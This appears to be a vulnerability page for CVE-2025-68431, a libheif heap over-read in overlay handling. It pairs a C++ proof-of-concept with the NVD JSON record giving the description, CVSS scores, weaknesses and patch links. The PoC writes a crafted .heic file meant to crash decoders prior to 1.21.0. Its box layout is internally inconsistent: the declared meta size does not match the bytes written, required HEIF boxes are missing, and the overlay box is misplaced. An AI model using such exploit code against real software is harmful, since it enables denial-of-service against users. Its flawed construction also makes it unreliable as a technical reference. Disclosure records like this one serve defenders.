CVE-2025-68431

#include <cstdint> #include <cstring> #include <fstream> // PoC for CVE-2025-68431: libheif heap buffer over-read in HeifPixelImage::overlay() // This generates a malicious HEIF file with crafted overlay box that triggers the vulnerability #pragma pack(1) struct HEIFBox { uint32_t size; uint8_t type[4]; // 'ftyp', 'meta', 'iprp', 'iovl', etc. // box content follows }; void create_malicious_heif(const char* filename) { std::ofstream f(filename, std::ios::binary); // ftyp box - file type HEIFBox ftyp = {0}; ftyp.size = 16; memcpy(ftyp.type, "ftyp", 4); f.write(reinterpret_cast<char*>(&ftyp), 12); f.write("heic", 4); // meta box with crafted iovl overlay box // The iovl box contains invalid dimensions/offsets that cause // negative row_length calculation in overlay() function HEIFBox meta = {0}; meta.size = 64; // Crafted size memcpy(meta.type, "meta", 4); f.write(reinterpret_cast<char*>(&meta), 8); // iprp box (item properties) HEIFBox iprp = {0}; iprp.size = 32; memcpy(iprp.type, "iprp", 4); f.write(reinterpret_cast<char*>(&iprp), 8); // iovl box - crafted overlay with invalid offsets HEIFBox iovl = {0}; iovl.size = 24; memcpy(iovl.type, "iovl", 4); f.write(reinterpret_cast<char*>(&iovl), 8); // Overlay data with crafted dimensions to trigger negative row_length uint32_t overlay_data[] = { 0xFFFFFFFF, // Invalid width causing negative calculation 0x00000000, // Invalid height 0x80000000, // Negative offset that underflows when cast to size_t 0x00000000 }; f.write(reinterpret_cast<char*>(overlay_data), sizeof(overlay_data)); f.close(); } int main() { create_malicious_heif("CVE-2025-68431.heic"); return 0; }

{"cve": {"id": "CVE-2025-68431", "sourceIdentifier": "[email protected]", "published": "2025-12-29T19:15:56.933", "lastModified": "2026-02-25T14:53:34.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "libheif is an HEIF and AVIF file format decoder and encoder. Prior to version 1.21.0, a crafted HEIF that exercises the overlay image item path triggers a heap buffer over-read in `HeifPixelImage::overlay()`. The function computes a negative row length (likely from an unclipped overlay rectangle or invalid offsets), which then underflows when converted to `size_t` and is passed to `memcpy`, causing a very large read past the end of the source plane and a crash. Version 1.21.0 contains a patch. As a workaround, avoid decoding images using `iovl` overlay boxes."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:struktur:libheif:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.21.0", "matchCriteriaId": "BBD4D6C6-A38E-4C2C-AB9D-F82441BE2D4F"}]}]}], "references": [{"url": "https://github.com/strukturag/libheif/commit/b8c12a7b70f46c9516711a988483bed377b78d46", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/strukturag/libheif/releases/tag/v1.21.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/strukturag/libheif/security/advisories/GHSA-j87x-4gmq-cqfq", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}